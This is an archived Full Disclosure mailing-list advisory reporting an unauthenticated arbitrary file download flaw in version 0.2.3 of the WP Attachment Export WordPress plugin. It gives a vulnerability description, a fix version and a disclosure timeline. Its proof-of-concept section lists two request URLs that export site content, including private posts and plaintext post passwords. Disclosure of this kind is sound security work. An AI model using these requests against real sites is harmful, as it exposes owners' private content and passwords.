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By Date By Thread Arbitrary File Download in WP Attachment Export Wordpress Plugin v0.2.3 From: Nitin Venkatesh <venkatesh.nitin () gmail com>

Date: Tue, 14 Jul 2015 02:21:21 +0000

# Title: Arbitrary File Download in WP Attachment Export Wordpress Plugin v0.2.3 # Submitter: Nitin Venkatesh # Product: WP Attachment Export Wordpress Plugin # Product URL: https://wordpress.org/plugins/wp-attachment-export/ # Vulnerability Type: Arbitrary File Download # Affected Versions: v0.2.3 # Tested versions: v0.2.3 # Fixed Version: v0.2.4 # Link to code diff: https://plugins.trac.wordpress.org/changeset/1170732/ # Changelog: https://wordpress.org/plugins/wp-attachment-export/changelog/ # CVE Status: None/Unassigned/Fresh ## Product Information: WP Attachment Export allows you to export your media library into a WordPress eXtended RSS or WXR file. You can then use the Tools->Import function in another WordPress installation to import the media library. ## Vulnerability Description: The WP Attachment Export Wordpress Plugin v0.2.3 is susceptible to Arbitrary File Download wherein anyone(unauthenticated user) could download the XML data that holds all the details of attachments/posts on a Wordpress powered site. This includes details of even privately published posts and password protected posts with their passwords revealed in plain text. ## Proof-of-Concept: Download attachment details: http://localhost/wp-admin/tools.php?content=attachment&wp-attachment-export-download=true Download Wordpress content details: http://localhost/wp-admin/tools.php?content=&wp-attachment-export-download=true ## Solution: Upgrade to v0.2.4 of the plugin. ## Disclosure Timeline: 2015-05-30 - Mailed report to developer 2015-05-30 - Updated v0.2.4 released 2015-07-14 - Publishing disclosure on FD. ## Disclaimer: This disclosure is purely meant for educational purposes. I will in no way be responsible as to how the information in this disclosure is used. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: Arbitrary File Download in WP Attachment Export Wordpress Plugin v0.2.3 Nitin Venkatesh (Jul 14)